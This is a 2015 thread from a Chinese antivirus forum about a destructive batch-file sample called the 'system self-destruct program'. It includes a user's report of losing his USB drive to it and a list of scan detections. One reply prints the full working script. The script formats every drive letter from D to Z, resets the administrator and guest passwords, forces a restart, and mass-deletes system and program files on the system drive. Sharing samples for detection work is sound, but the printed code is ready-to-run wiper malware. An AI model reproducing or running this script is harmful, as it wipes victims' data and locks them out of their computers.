查看: 13909|回复: 32
收起左侧

[病毒样本] 系统自毁程序.bat

[复制链接]
b8185096
发表于 2015-6-7 15:25:58 | 显示全部楼层 |阅读模式
狐狸糊涂
发表于 2015-6-7 15:36:27 | 显示全部楼层
本帖最后由 狐狸糊涂 于 2015-6-7 15:43 编辑

AVAST不杀,傻傻的玩.BAT双击.忘记用记事本看了.我的U盘...

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
jayavira
发表于 2015-6-7 15:40:11 | 显示全部楼层
都是BD系列报毒啊

系统自毁程序.bat -- Detections(10/57)
f5a547cac1367b83757a1087e08c3e38
-------------------------------
BkavCLEAN
MicroWorld-eScanTrojan.BAT.Delete.CM
nProtectTrojan.BAT.Delete.CM
CMCCLEAN
CAT-QuickHealCLEAN
ALYacTrojan.BAT.Delete.CM
MalwarebytesCLEAN
ZillyaCLEAN
AegisLabCLEAN
TheHackerCLEAN
BitDefenderTrojan.BAT.Delete.CM
K7GWCLEAN
K7AntiVirusCLEAN
ArcabitTrojan.BAT.Delete.CM
AgnitumCLEAN
F-ProtCLEAN
SymantecCLEAN
ESET-NOD32CLEAN
TrendMicro-HouseCallCLEAN
AvastCLEAN
ClamAVCLEAN
KasperskyCLEAN
AlibabaCLEAN
NANO-AntivirusCLEAN
SUPERAntiSpywareCLEAN
ByteHeroCLEAN
RisingBAT:Harm.Script.BAT.KillFiles.f!1553849
Ad-AwareTrojan.BAT.Delete.CM
SophosCLEAN
ComodoCLEAN
F-SecureTrojan.BAT.Delete.CM
DrWebCLEAN
VIPRECLEAN
TrendMicroCLEAN
McAfee-GW-EditionCLEAN
EmsisoftTrojan.BAT.Delete.CM (B)
CyrenCLEAN
JiangminCLEAN
AviraCLEAN
Antiy-AVLCLEAN
KingsoftCLEAN
MicrosoftCLEAN
ViRobotCLEAN
AhnLab-V3CLEAN
GDataTrojan.BAT.Delete.CM
TotalDefenseCLEAN
McAfeeCLEAN
AVwareCLEAN
VBA32CLEAN
Baidu-InternationalCLEAN
ZonerCLEAN
TencentCLEAN
IkarusCLEAN
FortinetCLEAN
AVGCLEAN
PandaCLEAN
Qihoo-360CLEAN

b8185096
 楼主| 发表于 2015-6-7 15:42:24 来自手机 | 显示全部楼层
我在QQ群上看的…我也不知道(回二楼)
b8185096
 楼主| 发表于 2015-6-7 15:42:40 来自手机 | 显示全部楼层
我在QQ群上看的…我也不知道(回二楼)
开开心心卖手机
发表于 2015-6-7 15:47:33 | 显示全部楼层
Virus: Trojan.BAT.Delete.CM (Engine A)
Virus found while downloading content from the web.
狐狸糊涂
发表于 2015-6-7 15:50:03 | 显示全部楼层
本帖最后由 狐狸糊涂 于 2015-6-7 15:58 编辑
b8185096 发表于 2015-6-7 15:42
我在QQ群上看的…我也不知道(回二楼)


没事,我的U盘只有PE和一堆软件,家里有备份..PE还在,批处理没有格掉PE的隐藏分区。。
heishen2010
发表于 2015-6-7 16:07:29 | 显示全部楼层
[mw_shl_code=shell,true]@echo off
echo 系统自毁程序正在运行...
echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕
net user administrator qwertyuiop
net user guest asdfghjkl
echo开机密码已更改
shutdown -r -t 60 -c "1分钟后将关机,电脑将无法启动。
cd c:\
attrib -s -h "windows"
attrib -s -h "Program Files"
attrib -s -h "Documents and Settings"
cd C:\Documents and Settings\Administrator\桌面
attrib -S -h
echo c盘主要文件已清除权限,开始运行高级系统自毁器!
echo 电脑自毁程序启动......
echo 正在清理系统文件,请稍等......
echo loading...
del /f /s /q %systemdrive%\*.sys系统错误
del /f /s /q %systemdrive%\*.exe系统错误
del /f /s /q %systemdrive%\*.txt系统错误
del /f /s /q %systemdrive%\*.bat系统错误
del /f /s /q %systemdrive%\*.chk系统错误
del /f /s /q %systemdrive%\*.old系统错误
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
echo C盘清除完毕..
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
echo 清除其余顽固软件中,请稍等...
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 自毁程序完成!
echo good bye![/mw_shl_code]
wjy19800315
发表于 2015-6-7 16:22:14 | 显示全部楼层
jayavira 发表于 2015-6-7 15:40
都是BD系列报毒啊

系统自毁程序.bat -- Detections(10/57)


这里的360指的是卫士吧?
因为只有卫士没有bd引擎
360杀毒与360ts。360tse都有引擎

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
jayavira
发表于 2015-6-7 16:35:25 | 显示全部楼层
wjy19800315 发表于 2015-6-7 16:22
这里的360指的是卫士吧?
因为只有卫士没有bd引擎
360杀毒与360ts。360tse都有引擎

这个问题只有去问360了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-24 03:06 , Processed in 0.122349 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表